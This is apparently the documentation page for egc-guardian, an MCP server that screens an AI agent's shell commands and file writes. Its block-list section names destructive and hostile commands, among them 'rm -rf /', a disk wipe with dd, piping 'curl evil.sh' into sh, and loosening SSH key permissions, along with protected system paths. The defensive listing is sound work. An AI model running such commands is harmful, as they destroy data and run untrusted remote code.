Skip to content
egc-guardian

MCP Servers

egc-guardian

Validation and safety layer. Runs in the background intercepting commands and file writes before they execute.

Overview

egc-guardian intercepts shell commands and file system writes before they execute. It blocks patterns that are unsafe — shell injection, writes to sensitive paths, known dangerous binaries — and passes everything else through.

It also provides context utilities: reduce_context trims Markdown payloads to reduce token usage, and orchestrate_task routes prompts to the relevant agents and skills.

Tools

validate_command Security
validate_command({ command: string, cwd?: string })

Validates a shell command before execution. Blocks shell injection patterns (semicolons, pipes to bash, backtick execution), known dangerous binaries, and commands targeting protected paths.

Returns: { allowed: boolean, reason?: string }

validate_write Security
validate_write({ path: string, content?: string })

Validates a file write operation. Blocks writes to sensitive system paths (~/.ssh/, /etc/, /usr/, /bin/) and paths outside the project directory.

Returns: { allowed: boolean, reason?: string }

reduce_context Utility
reduce_context({ content: string, max_tokens?: number })

Deduplicates and trims a Markdown payload to reduce token count. Removes repeated headers, collapses whitespace, and truncates to the token limit if specified.

Returns: Trimmed Markdown string.

orchestrate_task Utility
orchestrate_task({ prompt: string, context?: string })

Analyzes a prompt and returns a routing suggestion: which agents, skills, and commands are most relevant. Does not execute anything — returns a plan for the AI to follow.

Returns: Object with suggested agents, skills, and commands.

What gets blocked

Commands

  • cmd; rm -rf /
  • echo x | bash
  • `curl evil.sh | sh`
  • chmod 777 ~/.ssh/id_rsa
  • dd if=/dev/zero of=/dev/sda

Write paths

  • ~/.ssh/authorized_keys
  • /etc/passwd
  • /usr/bin/*
  • /boot/*
  • ~/.bashrc (outside project)